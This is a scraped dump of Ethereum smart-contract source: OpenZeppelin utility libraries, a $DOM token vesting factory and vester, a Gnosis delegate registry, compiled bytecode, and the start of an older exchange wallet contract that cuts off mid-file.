'safeIncreaseAllowance' and 'safeDecreaseAllowance' require( (value == 0) || (token.allowance(address(this), spender) == 0), "SafeERC20: approve from non-zero to non-zero allowance" ); _callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, value)); } function safeIncreaseAllowance( IERC20 token, address spender, uint256 value ) internal { uint256 newAllowance = token.allowance(address(this), spender) + value; _callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, newAllowance)); } function safeDecreaseAllowance( IERC20 token, address spender, uint256 value ) internal { unchecked { uint256 oldAllowance = token.allowance(address(this), spender); require(oldAllowance >= value, "SafeERC20: decreased allowance below zero"); uint256 newAllowance = oldAllowance - value; _callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, newAllowance)); } } /** * @dev Imitates a Solidity high-level call (i.e. a regular function call to a contract), relaxing the requirement * on the return value: the return value is optional (but if data is returned, it must not be false). * @param token The token targeted by the call. * @param data The call data (encoded using abi.encode or one of its variants). */ function _callOptionalReturn(IERC20 token, bytes memory data) private { // We need to perform a low level call here, to bypass Solidity's return data size checking mechanism, since // we're implementing it ourselves. We use {Address.functionCall} to perform this call, which verifies that // the target address contains contract code and also asserts for success in the low-level call. bytes memory returndata = address(token).functionCall(data, "SafeERC20: low-level call failed"); if (returndata.length > 0) { // Return data is optional require(abi.decode(returndata, (bool)), "SafeERC20: ERC20 operation did not succeed"); } } } // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; /** * @dev Interface of the ERC777TokensRecipient standard as defined in the EIP. * * Accounts can be notified of {IERC777} tokens being sent to them by having a * contract implement this interface (contract holders can be their own * implementer) and registering it on the * https://eips.ethereum.org/EIPS/eip-1820[ERC1820 global registry]. * * See {IERC1820Registry} and {ERC1820Implementer}. */ interface IERC777Recipient { /** * @dev Called by an {IERC777} token contract whenever tokens are being * moved or created into a registered account (`to`). The type of operation * is conveyed by `from` being the zero address or not. * * This call occurs _after_ the token contract's state is updated, so * {IERC777-balanceOf}, etc., can be used to query the post-operation state. * * This function may revert to prevent the operation from being executed. */ function tokensReceived( address operator, address from, address to, uint256 amount, bytes calldata userData, bytes calldata operatorData ) external; } // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; /** * @dev Collection of functions related to the address type */ library Address { /** * @dev Returns true if `account` is a contract. * * [IMPORTANT] * ==== * It is unsafe to assume that an address for which this function returns * false is an externally-owned account (EOA) and not a contract. * * Among others, `isContract` will return false for the following * types of addresses: * * - an externally-owned account * - a contract in construction * - an address where a contract will be created * - an address where a contract lived, but was destroyed * ==== */ function isContract(address account) internal view returns (bool) { // This method relies on extcodesize, which returns 0 for contracts in // construction, since the code is only stored at the end of the // constructor execution. uint256 size; assembly { size := extcodesize(account) } return size > 0; } /** * @dev Replacement for Solidity's `transfer`: sends `amount` wei to * `recipient`, forwarding all available gas and reverting on errors. * * https://eips.ethereum.org/EIPS/eip-1884[EIP1884] increases the gas cost * of certain opcodes, possibly making contracts go over the 2300 gas limit * imposed by `transfer`, making them unable to receive funds via * `transfer`. {sendValue} removes this limitation. * * https://diligence.consensys.net/posts/2019/09/stop-using-soliditys-transfer-now/[Learn more]. * * IMPORTANT: because control is transferred to `recipient`, care must be * taken to not create reentrancy vulnerabilities. Consider using * {ReentrancyGuard} or the * https://solidity.readthedocs.io/en/v0.5.11/security-considerations.html#use-the-checks-effects-interactions-pattern[checks-effects-interactions pattern]. */ function sendValue(address payable recipient, uint256 amount) internal { require(address(this).balance >= amount, "Address: insufficient balance"); (bool success, ) = recipient.call{value: amount}(""); require(success, "Address: unable to send value, recipient may have reverted"); } /** * @dev Performs a Solidity function call using a low level `call`. A * plain `call` is an unsafe replacement for a function call: use this * function instead. * * If `target` reverts with a revert reason, it is bubbled up by this * function (like regular Solidity function calls). * * Returns the raw returned data. To convert to the expected return value, * use https://solidity.readthedocs.io/en/latest/units-and-global-variables.html?highlight=abi.decode#abi-encoding-and-decoding-functions[`abi.decode`]. * * Requirements: * * - `target` must be a contract. * - calling `target` with `data` must not revert. * * _Available since v3.1._ */ function functionCall(address target, bytes memory data) internal returns (bytes memory) { return functionCall(target, data, "Address: low-level call failed"); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], but with * `errorMessage` as a fallback revert reason when `target` reverts. * * _Available since v3.1._ */ function functionCall( address target, bytes memory data, string memory errorMessage ) internal returns (bytes memory) { return functionCallWithValue(target, data, 0, errorMessage); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but also transferring `value` wei to `target`. * * Requirements: * * - the calling contract must have an ETH balance of at least `value`. * - the called Solidity function must be `payable`. * * _Available since v3.1._ */ function functionCallWithValue( address target, bytes memory data, uint256 value ) internal returns (bytes memory) { return functionCallWithValue(target, data, value, "Address: low-level call with value failed"); } /** * @dev Same as {xref-Address-functionCallWithValue-address-bytes-uint256-}[`functionCallWithValue`], but * with `errorMessage` as a fallback revert reason when `target` reverts. * * _Available since v3.1._ */ function functionCallWithValue( address target, bytes memory data, uint256 value, string memory errorMessage ) internal returns (bytes memory) { require(address(this).balance >= value, "Address: insufficient balance for call"); require(isContract(target), "Address: call to non-contract"); (bool success, bytes memory returndata) = target.call{value: value}(data); return _verifyCallResult(success, returndata, errorMessage); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but performing a static call. * * _Available since v3.3._ */ function functionStaticCall(address target, bytes memory data) internal view returns (bytes memory) { return functionStaticCall(target, data, "Address: low-level static call failed"); } /** * @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`], * but performing a static call. * * _Available since v3.3._ */ function functionStaticCall( address target, bytes memory data, string memory errorMessage ) internal view returns (bytes memory) { require(isContract(target), "Address: static call to non-contract"); (bool success, bytes memory returndata) = target.staticcall(data); return _verifyCallResult(success, returndata, errorMessage); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but performing a delegate call. * * _Available since v3.4._ */ function functionDelegateCall(address target, bytes memory data) internal returns (bytes memory) { return functionDelegateCall(target, data, "Address: low-level delegate call failed"); } /** * @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`], * but performing a delegate call. * * _Available since v3.4._ */ function functionDelegateCall( address target, bytes memory data, string memory errorMessage ) internal returns (bytes memory) { require(isContract(target), "Address: delegate call to non-contract"); (bool success, bytes memory returndata) = target.delegatecall(data); return _verifyCallResult(success, returndata, errorMessage); } function _verifyCallResult( bool success, bytes memory returndata, string memory errorMessage ) private pure returns (bytes memory) { if (success) { return returndata; } else { // Look for revert reason and bubble it up if present if (returndata.length > 0) { // The easiest way to bubble the revert reason is using memory via assembly assembly { let returndata_size := mload(returndata) revert(add(32, returndata), returndata_size) } } else { revert(errorMessage); } } } } // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; /* * @dev Provides information about the current execution context, including the * sender of the transaction and its data. While these are generally available * via msg.sender and msg.data, they should not be accessed in such a direct * manner, since when dealing with meta-transactions the account sending and * paying for execution may not be the actual sender (as far as an application * is concerned). * * This contract is only required for intermediate, library-like contracts. */ abstract contract Context { function _msgSender() internal view virtual returns (address) { return msg.sender; } function _msgData() internal view virtual returns (bytes calldata) { return msg.data; } } // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; /** * @dev String operations. */ library Strings { bytes16 private constant _HEX_SYMBOLS = "0123456789abcdef"; /** * @dev Converts a `uint256` to its ASCII `string` decimal representation. */ function toString(uint256 value) internal pure returns (string memory) { // Inspired by OraclizeAPI's implementation - MIT licence // https://github.com/oraclize/ethereum-api/blob/b42146b063c7d6ee1358846c198246239e9360e8/oraclizeAPI_0.4.25.sol if (value == 0) { return "0"; } uint256 temp = value; uint256 digits; while (temp != 0) { digits++; temp /= 10; } bytes memory buffer = new bytes(digits); while (value != 0) { digits -= 1; buffer[digits] = bytes1(uint8(48 + uint256(value % 10))); value /= 10; } return string(buffer); } /** * @dev Converts a `uint256` to its ASCII `string` hexadecimal representation. */ function toHexString(uint256 value) internal pure returns (string memory) { if (value == 0) { return "0x00"; } uint256 temp = value; uint256 length = 0; while (temp != 0) { length++; temp >>= 8; } return toHexString(value, length); } /** * @dev Converts a `uint256` to its ASCII `string` hexadecimal representation with fixed length. */ function toHexString(uint256 value, uint256 length) internal pure returns (string memory) { bytes memory buffer = new bytes(2 * length + 2); buffer[0] = "0"; buffer[1] = "x"; for (uint256 i = 2 * length + 1; i > 1; --i) { buffer[i] = _HEX_SYMBOLS[value & 0xf]; value >>= 4; } require(value == 0, "Strings: hex length insufficient"); return string(buffer); } } // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; import "./IERC165.sol"; /** * @dev Implementation of the {IERC165} interface. * * Contracts that want to implement ERC165 should inherit from this contract and override {supportsInterface} to check * for the additional interface id that will be supported. For example: * * ```solidity * function supportsInterface(bytes4 interfaceId) public view virtual override returns (bool) { * return interfaceId == type(MyInterface).interfaceId || super.supportsInterface(interfaceId); * } * ``` * * Alternatively, {ERC165Storage} provides an easier to use but more expensive implementation. */ abstract contract ERC165 is IERC165 { /** * @dev See {IERC165-supportsInterface}. */ function supportsInterface(bytes4 interfaceId) public view virtual override returns (bool) { return interfaceId == type(IERC165).interfaceId; } } // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; /** * @dev Interface of the ERC165 standard, as defined in the * https://eips.ethereum.org/EIPS/eip-165[EIP]. * * Implementers can declare support of contract interfaces, which can then be * queried by others ({ERC165Checker}). * * For an implementation, see {ERC165}. */ interface IERC165 { /** * @dev Returns true if this contract implements the interface defined by * `interfaceId`. See the corresponding * https://eips.ethereum.org/EIPS/eip-165#how-interfaces-are-identified[EIP section] * to learn more about how these ids are created. * * This function call must use less than 30 000 gas. */ function supportsInterface(bytes4 interfaceId) external view returns (bool); } // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; /** * @dev Interface of the global ERC1820 Registry, as defined in the * https://eips.ethereum.org/EIPS/eip-1820[EIP]. Accounts may register * implementers for interfaces in this registry, as well as query support. * * Implementers may be shared by multiple accounts, and can also implement more * than a single interface for each account. Contracts can implement interfaces * for themselves, but externally-owned accounts (EOA) must delegate this to a * contract. * * {IERC165} interfaces can also be queried via the registry. * * For an in-depth explanation and source code analysis, see the EIP text. */ interface IERC1820Registry { /** * @dev Sets `newManager` as the manager for `account`. A manager of an * account is able to set interface implementers for it. * * By default, each account is its own manager. Passing a value of `0x0` in * `newManager` will reset the manager to this initial state. * * Emits a {ManagerChanged} event. * * Requirements: * * - the caller must be the current manager for `account`. */ function setManager(address account, address newManager) external; /** * @dev Returns the manager for `account`. * * See {setManager}. */ function getManager(address account) external view returns (address); /** * @dev Sets the `implementer` contract as ``account``'s implementer for * `interfaceHash`. * * `account` being the zero address is an alias for the caller's address. * The zero address can also be used in `implementer` to remove an old one. * * See {interfaceHash} to learn how these are created. * * Emits an {InterfaceImplementerSet} event. * * Requirements: * * - the caller must be the current manager for `account`. * - `interfaceHash` must not be an {IERC165} interface id (i.e. it must not * end in 28 zeroes). * - `implementer` must implement {IERC1820Implementer} and return true when * queried for support, unless `implementer` is the caller. See * {IERC1820Implementer-canImplementInterfaceForAddress}. */ function setInterfaceImplementer( address account, bytes32 _interfaceHash, address implementer ) external; /** * @dev Returns the implementer of `interfaceHash` for `account`. If no such * implementer is registered, returns the zero address. * * If `interfaceHash` is an {IERC165} interface id (i.e. it ends with 28 * zeroes), `account` will be queried for support of it. * * `account` being the zero address is an alias for the caller's address. */ function getInterfaceImplementer(address account, bytes32 _interfaceHash) external view returns (address); /** * @dev Returns the interface hash for an `interfaceName`, as defined in the * corresponding * https://eips.ethereum.org/EIPS/eip-1820#interface-name[section of the EIP]. */ function interfaceHash(string calldata interfaceName) external pure returns (bytes32); /** * @notice Updates the cache with whether the contract implements an ERC165 interface or not. * @param account Address of the contract for which to update the cache. * @param interfaceId ERC165 interface for which to update the cache. */ function updateERC165Cache(address account, bytes4 interfaceId) external; /** * @notice Checks whether a contract implements an ERC165 interface or not. * If the result is not cached a direct lookup on the contract address is performed. * If the result is not cached or the cached value is out-of-date, the cache MUST be updated manually by calling * {updateERC165Cache} with the contract address. * @param account Address of the contract to check. * @param interfaceId ERC165 interface to check. * @return True if `account` implements `interfaceId`, false otherwise. */ function implementsERC165Interface(address account, bytes4 interfaceId) external view returns (bool); /** * @notice Checks whether a contract implements an ERC165 interface or not without using nor updating the cache. * @param account Address of the contract to check. * @param interfaceId ERC165 interface to check. * @return True if `account` implements `interfaceId`, false otherwise. */ function implementsERC165InterfaceNoCache(address account, bytes4 interfaceId) external view returns (bool); event InterfaceImplementerSet(address indexed account, bytes32 indexed interfaceHash, address indexed implementer); event ManagerChanged(address indexed account, address indexed newManager); } // SPDX-License-Identifier: BSD-3-Clause AND MIT pragma solidity 0.8.6; import "@openzeppelin/contracts/token/ERC20/IERC20.sol"; import "@openzeppelin/contracts/token/ERC20/utils/SafeERC20.sol"; import "@openzeppelin/contracts/token/ERC777/IERC777Recipient.sol"; import "@openzeppelin/contracts/utils/introspection/IERC1820Registry.sol"; import "@openzeppelin/contracts/access/AccessControl.sol"; import "./external/DelegateRegistry.sol"; /** * @title Vester factory * @notice Creates Vester contracts when sent ERC777 tokens to distribute */ contract VesterFactory is IERC777Recipient { using SafeERC20 for IERC20; bytes32 constant private TOKENS_RECIPIENT_INTERFACE_HASH = keccak256("ERC777TokensRecipient"); IERC1820Registry private _erc1820 = IERC1820Registry(0x1820a4B7618BdE71Dce8cdc73aAB6C95905faD24); bytes32 public constant TRANSFER_ROLE = keccak256("TRANSFER"); address immutable DomToken; address immutable Delegator; constructor(address DomToken_, address DelegateRegistry_) { DomToken = DomToken_; _erc1820.setInterfaceImplementer(address(this), TOKENS_RECIPIENT_INTERFACE_HASH, address(this)); Delegator = DelegateRegistry_; } event VesterCreated(address childAddress); /** * @notice ERC777 send() receive hook. Create a Vester contract * @param vestingAmount received amount / amount for new Vester * @param userData ABI encoded parameters for Vester (except for $DOM address, registry address, and vesting amount) */ function tokensReceived( address /* operator */, address /* from */, address /* to */, uint256 vestingAmount, bytes calldata userData, bytes calldata /* operatorData */ ) external override { require(msg.sender == DomToken, "WRONG_TOKEN"); (address recipient, uint vestingBegin, uint vestingCliff, uint vestingEnd, uint timeout) = abi.decode( userData, (address, uint, uint, uint, uint) ); Vester vester = new Vester( DomToken, Delegator, recipient, vestingAmount, vestingBegin, vestingCliff, vestingEnd, timeout ); AccessControl(DomToken).grantRole(TRANSFER_ROLE, address(vester)); IERC20(DomToken).safeTransfer(address(vester), vestingAmount); emit VesterCreated(address(vester)); } } /** * Based on Uniswap's TreasuryVester: https://github.com/Uniswap/governance/blob/master/contracts/TreasuryVester.sol * @title $DOM vesting contract * @notice distributes a token to a single recipient over a linear vesting schedule */ contract Vester { using SafeERC20 for IERC20; IERC20 public dom; address public recipient; address public delegateRegistry; uint public immutable vestingAmount; uint public immutable vestingBegin; uint public immutable vestingCliff; uint public immutable vestingEnd; uint public immutable timeout; uint public lastUpdate; /** * @param dom_ address of token to be disbursed * @param delegateRegistry_ address of the deployed Gnosis delegateRegistry * @param recipient_ recipient of token * @param vestingAmount_ total amount to be disbursed * @param vestingBegin_ timestamp to start vesting * @param vestingCliff_ timestamp at which first withdrawal can be made * @param vestingEnd_ timestamp at which all tokens can be withdrawn * @param timeout_ minimum seconds between withdrawals (commonly: 0, 1 day, 1 month) */ constructor( address dom_, address delegateRegistry_, address recipient_, uint vestingAmount_, uint vestingBegin_, uint vestingCliff_, uint vestingEnd_, uint timeout_ ) { require(vestingBegin_ >= block.timestamp, 'BEGIN_TOO_EARLY'); require(vestingCliff_ >= vestingBegin_, 'CLIFF_TOO_EARLY'); require(vestingEnd_ > vestingCliff_, 'END_TOO_EARLY'); dom = IERC20(dom_); delegateRegistry = delegateRegistry_; recipient = recipient_; DelegateRegistry(delegateRegistry).setDelegate('', recipient); vestingAmount = vestingAmount_; vestingBegin = vestingBegin_; vestingCliff = vestingCliff_; vestingEnd = vestingEnd_; timeout = timeout_; lastUpdate = vestingBegin_; } /** * @notice Transfer ownership of vested tokens * @param recipient_ new beneficiary */ function setRecipient(address recipient_) public { require(msg.sender == recipient, 'UNAUTHORIZED'); require(recipient_ != address(0), "ZERO_ADDRESS"); recipient = recipient_; DelegateRegistry(delegateRegistry).setDelegate('', recipient); } /** * @notice claim pending tokens */ function claim() public { require(block.timestamp >= vestingCliff, 'BEFORE_CLIFF'); require(block.timestamp >= lastUpdate + timeout || lastUpdate == vestingBegin, 'COOLDOWN'); uint amount; if (block.timestamp >= vestingEnd) { amount = dom.balanceOf(address(this)); } else { amount = vestingAmount * (block.timestamp - lastUpdate) / (vestingEnd - vestingBegin); lastUpdate = block.timestamp; } dom.safeTransfer(recipient, amount); } } // SPDX-License-Identifier: LGPL-3.0-only pragma solidity 0.8.6; contract DelegateRegistry { // The first key is the delegator and the second key a id. // The value is the address of the delegate mapping (address => mapping (bytes32 => address)) public delegation; // Using these events it is possible to process the events to build up reverse lookups. // The indeces allow it to be very partial about how to build this lookup (e.g. only for a specific delegate). event SetDelegate(address indexed delegator, bytes32 indexed id, address indexed delegate); event ClearDelegate(address indexed delegator, bytes32 indexed id, address indexed delegate); /// @dev Sets a delegate for the msg.sender and a specific id. /// The combination of msg.sender and the id can be seen as a unique key. /// @param id Id for which the delegate should be set /// @param delegate Address of the delegate function setDelegate(bytes32 id, address delegate) public { require (delegate != msg.sender, "Can't delegate to self"); require (delegate != address(0), "Can't delegate to 0x0"); address currentDelegate = delegation[msg.sender][id]; require (delegate != currentDelegate, "Already delegated to this address"); // Update delegation mapping delegation[msg.sender][id] = delegate; if (currentDelegate != address(0)) { emit ClearDelegate(msg.sender, id, currentDelegate); } emit SetDelegate(msg.sender, id, delegate); } /// @dev Clears a delegate for the msg.sender and a specific id. /// The combination of msg.sender and the id can be seen as a unique key. /// @param id Id for which the delegate should be set function clearDelegate(bytes32 id) public { address currentDelegate = delegation[msg.sender][id]; require (currentDelegate != address(0), "No delegate set"); // update delegation mapping delegation[msg.sender][id] = address(0); emit ClearDelegate(msg.sender, id, currentDelegate); } }
0x608060405234801561001057600080fd5b50600436106100a85760003560e01c806366d003ac1161007157806366d003ac1461012d57806370dea79a1461014b57806384a1931f14610169578063c046371114610187578063e29bc68b146101a5578063f3640e74146101c3576100a8565b8062728f76146100ad57806313bfffac146100cb5780631493161c146100e95780633bbed4a0146101075780634e71d92d14610123575b600080fd5b6100b56101e1565b6040516100c29190610eca565b60405180910390f35b6100d3610205565b6040516100e09190610d42565b60405180910390f35b6100f161022b565b6040516100fe9190610d86565b60405180910390f35b610121600480360381019061011c9190610b11565b61024f565b005b61012b610442565b005b610135610723565b6040516101429190610d42565b60405180910390f35b610153610749565b6040516101609190610eca565b60405180910390f35b61017161076d565b60405161017e9190610eca565b60405180910390f35b61018f610791565b60405161019c9190610eca565b60405180910390f35b6101ad610797565b6040516101ba9190610eca565b60405180910390f35b6101cb6107bb565b6040516101d89190610eca565b60405180910390f35b7f000000000000000000000000000000000000000000295be96e6406697200000081565b600260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b60008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16146102df576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016102d690610dc3565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff16141561034f576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161034690610e03565b60405180910390fd5b80600160006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550600260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663bd86e508600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff166040518263ffffffff1660e01b815260040161040d9190610e63565b600060405180830381600087803b15801561042757600080fd5b505af115801561043b573d6000803e3d6000fd5b5050505050565b7f0000000000000000000000000000000000000000000000000000000062be707f4210156104a5576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161049c90610e43565b60405180910390fd5b7f0000000000000000000000000000000000000000000000000000000000278d006003546104d39190610f17565b4210158061050257507f0000000000000000000000000000000000000000000000000000000061cfdf0f600354145b610541576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161053890610e23565b60405180910390fd5b60007f000000000000000000000000000000000000000000000000000000006774cb0f421061061a5760008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166370a08231306040518263ffffffff1660e01b81526004016105c39190610d42565b60206040518083038186803b1580156105db57600080fd5b505afa1580156105ef573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906106139190610b6b565b90506106b3565b7f0000000000000000000000000000000000000000000000000000000061cfdf0f7f000000000000000000000000000000000000000000000000000000006774cb0f6106669190610ff8565b600354426106749190610ff8565b7f000000000000000000000000000000000000000000295be96e6406697200000061069f9190610f9e565b6106a99190610f6d565b9050426003819055505b610720600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff168260008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166107df9092919063ffffffff16565b50565b600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b7f0000000000000000000000000000000000000000000000000000000000278d0081565b7f000000000000000000000000000000000000000000000000000000006774cb0f81565b60035481565b7f0000000000000000000000000000000000000000000000000000000061cfdf0f81565b7f0000000000000000000000000000000000000000000000000000000062be707f81565b6108608363a9059cbb60e01b84846040516024016107fe929190610d5d565b604051602081830303815290604052907bffffffffffffffffffffffffffffffffffffffffffffffffffffffff19166020820180517bffffffffffffffffffffffffffffffffffffffffffffffffffffffff8381831617835250505050610865565b505050565b60006108c7826040518060400160405280602081526020017f5361666545524332303a206c6f772d6c6576656c2063616c6c206661696c65648152508573ffffffffffffffffffffffffffffffffffffffff1661092c9092919063ffffffff16565b905060008151111561092757808060200190518101906108e79190610b3e565b610926576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161091d90610eaa565b60405180910390fd5b5b505050565b606061093b8484600085610944565b90509392505050565b606082471015610989576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161098090610de3565b60405180910390fd5b61099285610a58565b6109d1576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016109c890610e8a565b60405180910390fd5b6000808673ffffffffffffffffffffffffffffffffffffffff1685876040516109fa9190610d2b565b60006040518083038185875af1925050503d8060008114610a37576040519150601f19603f3d011682016040523d82523d6000602084013e610a3c565b606091505b5091509150610a4c828286610a6b565b92505050949350505050565b600080823b905060008111915050919050565b60608315610a7b57829050610acb565b600083511115610a8e5782518084602001fd5b816040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610ac29190610da1565b60405180910390fd5b9392505050565b600081359050610ae1816112aa565b92915050565b600081519050610af6816112c1565b92915050565b600081519050610b0b816112d8565b92915050565b600060208284031215610b2757610b26611129565b5b6000610b3584828501610ad2565b91505092915050565b600060208284031215610b5457610b53611129565b5b6000610b6284828501610ae7565b91505092915050565b600060208284031215610b8157610b80611129565b5b6000610b8f84828501610afc565b91505092915050565b610ba18161102c565b82525050565b6000610bb282610ee5565b610bbc8185610efb565b9350610bcc818560208601611098565b80840191505092915050565b610be181611074565b82525050565b6000610bf282610ef0565b610bfc8185610f06565b9350610c0c818560208601611098565b610c158161112e565b840191505092915050565b6000610c2d600c83610f06565b9150610c388261113f565b602082019050919050565b6000610c50602683610f06565b9150610c5b82611168565b604082019050919050565b6000610c73600c83610f06565b9150610c7e826111b7565b602082019050919050565b6000610c96600883610f06565b9150610ca1826111e0565b602082019050919050565b6000610cb9600c83610f06565b9150610cc482611209565b602082019050919050565b6000815250565b6000610ce3601d83610f06565b9150610cee82611232565b602082019050919050565b6000610d06602a83610f06565b9150610d118261125b565b604082019050919050565b610d258161106a565b82525050565b6000610d378284610ba7565b915081905092915050565b6000602082019050610d576000830184610b98565b92915050565b6000604082019050610d726000830185610b98565b610d7f6020830184610d1c565b9392505050565b6000602082019050610d9b6000830184610bd8565b92915050565b60006020820190508181036000830152610dbb8184610be7565b905092915050565b60006020820190508181036000830152610ddc81610c20565b9050919050565b60006020820190508181036000830152610dfc81610c43565b9050919050565b60006020820190508181036000830152610e1c81610c66565b9050919050565b60006020820190508181036000830152610e3c81610c89565b9050919050565b60006020820190508181036000830152610e5c81610cac565b9050919050565b6000604082019050610e7760008301610ccf565b610e846020830184610b98565b92915050565b60006020820190508181036000830152610ea381610cd6565b9050919050565b60006020820190508181036000830152610ec381610cf9565b9050919050565b6000602082019050610edf6000830184610d1c565b92915050565b600081519050919050565b600081519050919050565b600081905092915050565b600082825260208201905092915050565b6000610f228261106a565b9150610f2d8361106a565b9250827fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff03821115610f6257610f616110cb565b5b828201905092915050565b6000610f788261106a565b9150610f838361106a565b925082610f9357610f926110fa565b5b828204905092915050565b6000610fa98261106a565b9150610fb48361106a565b9250817fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff0483118215151615610fed57610fec6110cb565b5b828202905092915050565b60006110038261106a565b915061100e8361106a565b925082821015611021576110206110cb565b5b828203905092915050565b60006110378261104a565b9050919050565b60008115159050919050565b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b6000819050919050565b600061107f82611086565b9050919050565b60006110918261104a565b9050919050565b60005b838110156110b657808201518184015260208101905061109b565b838111156110c5576000848401525b50505050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601260045260246000fd5b600080fd5b6000601f19601f8301169050919050565b7f554e415554484f52495a45440000000000000000000000000000000000000000600082015250565b7f416464726573733a20696e73756666696369656e742062616c616e636520666f60008201527f722063616c6c0000000000000000000000000000000000000000000000000000602082015250565b7f5a45524f5f414444524553530000000000000000000000000000000000000000600082015250565b7f434f4f4c444f574e000000000000000000000000000000000000000000000000600082015250565b7f4245464f52455f434c4946460000000000000000000000000000000000000000600082015250565b7f416464726573733a2063616c6c20746f206e6f6e2d636f6e7472616374000000600082015250565b7f5361666545524332303a204552433230206f7065726174696f6e20646964206e60008201527f6f74207375636365656400000000000000000000000000000000000000000000602082015250565b6112b38161102c565b81146112be57600080fd5b50565b6112ca8161103e565b81146112d557600080fd5b50565b6112e18161106a565b81146112ec57600080fd5b5056fea26469706673582212206e469c7675f0ce61fa545ad7cde1847ba144b6a4d5e974fb8d6c23039fc7ce2a64736f6c63430008060033
[ 9 ]
0xf1c525a488a848b58b95d79da48c21ce434290f7
pragma solidity ^0.4.24; /** * @title Log Various Error Types * @author Adam Lemmon <adam@oraclize.it> * @dev Inherit this contract and your may now log errors easily * To support various error types, params, etc. */ contract LoggingErrors { /** * Events */ event LogErrorString(string errorString); /** * Error cases */ /** * @dev Default error to simply log the error message and return * @param _errorMessage The error message to log * @return ALWAYS false */ function error(string _errorMessage) internal returns(bool) { LogErrorString(_errorMessage); return false; } } /** * @title Wallet Connector * @dev Connect the wallet contract to the correct Wallet Logic version */ contract WalletConnector is LoggingErrors { /** * Storage */ address public owner_; address public latestLogic_; uint256 public latestVersion_; mapping(uint256 => address) public logicVersions_; uint256 public birthBlock_; /** * Events */ event LogLogicVersionAdded(uint256 version); event LogLogicVersionRemoved(uint256 version); /** * @dev Constructor to set the latest logic address * @param _latestVersion Latest version of the wallet logic * @param _latestLogic Latest address of the wallet logic contract */ function WalletConnector ( uint256 _latestVersion, address _latestLogic ) public { owner_ = msg.sender; latestLogic_ = _latestLogic; latestVersion_ = _latestVersion; logicVersions_[_latestVersion] = _latestLogic; birthBlock_ = block.number; } /** * Add a new version of the logic contract * @param _version The version to be associated with the new contract. * @param _logic New logic contract. * @return Success of the transaction. */ function addLogicVersion ( uint256 _version, address _logic ) external returns(bool) { if (msg.sender != owner_) return error('msg.sender != owner, WalletConnector.addLogicVersion()'); if (logicVersions_[_version] != 0) return error('Version already exists, WalletConnector.addLogicVersion()'); // Update latest if this is the latest version if (_version > latestVersion_) { latestLogic_ = _logic; latestVersion_ = _version; } logicVersions_[_version] = _logic; LogLogicVersionAdded(_version); return true; } /** * @dev Remove a version. Cannot remove the latest version. * @param _version The version to remove. */ function removeLogicVersion(uint256 _version) external { require(msg.sender == owner_); require(_version != latestVersion_); delete logicVersions_[_version]; LogLogicVersionRemoved(_version); } /** * Constants */ /** * Called from user wallets in order to upgrade their logic. * @param _version The version to upgrade to. NOTE pass in 0 to upgrade to latest. * @return The address of the logic contract to upgrade to. */ function getLogic(uint256 _version) external constant returns(address) { if (_version == 0) return latestLogic_; else return logicVersions_[_version]; } } /** * @title Wallet to hold and trade ERC20 tokens and ether * @author Adam Lemmon <adam@oraclize.it> * @dev User wallet to interact with the exchange. * all tokens and ether held in this wallet, 1 to 1 mapping to user EOAs. */ contract WalletV2 is LoggingErrors { /** * Storage */ // Vars included in wallet logic "lib", the order must match between Wallet and Logic address public owner_; address public exchange_; mapping(address => uint256) public tokenBalances_; address public logic_; // storage location 0x3 loaded for delegatecalls so this var must remain at index 3 uint256 public birthBlock_; WalletConnector private connector_; /** * Events */ event LogDeposit(address token, uint256 amount, uint256 balance); event LogWithdrawal(address token, uint256 amount, uint256 balance); /** * @dev Contract constructor. Set user as owner and connector address. * @param _owner The address of the user's EOA, wallets created from the exchange * so must past in the owner address, msg.sender == exchange. * @param _connector The wallet connector to be used to retrieve the wallet logic */ function WalletV2(address _owner, address _connector) public { owner_ = _owner; connector_ = WalletConnector(_connector); exchange_ = msg.sender; logic_ = connector_.latestLogic_(); birthBlock_ = block.number; } /** * @dev Fallback - Only enable 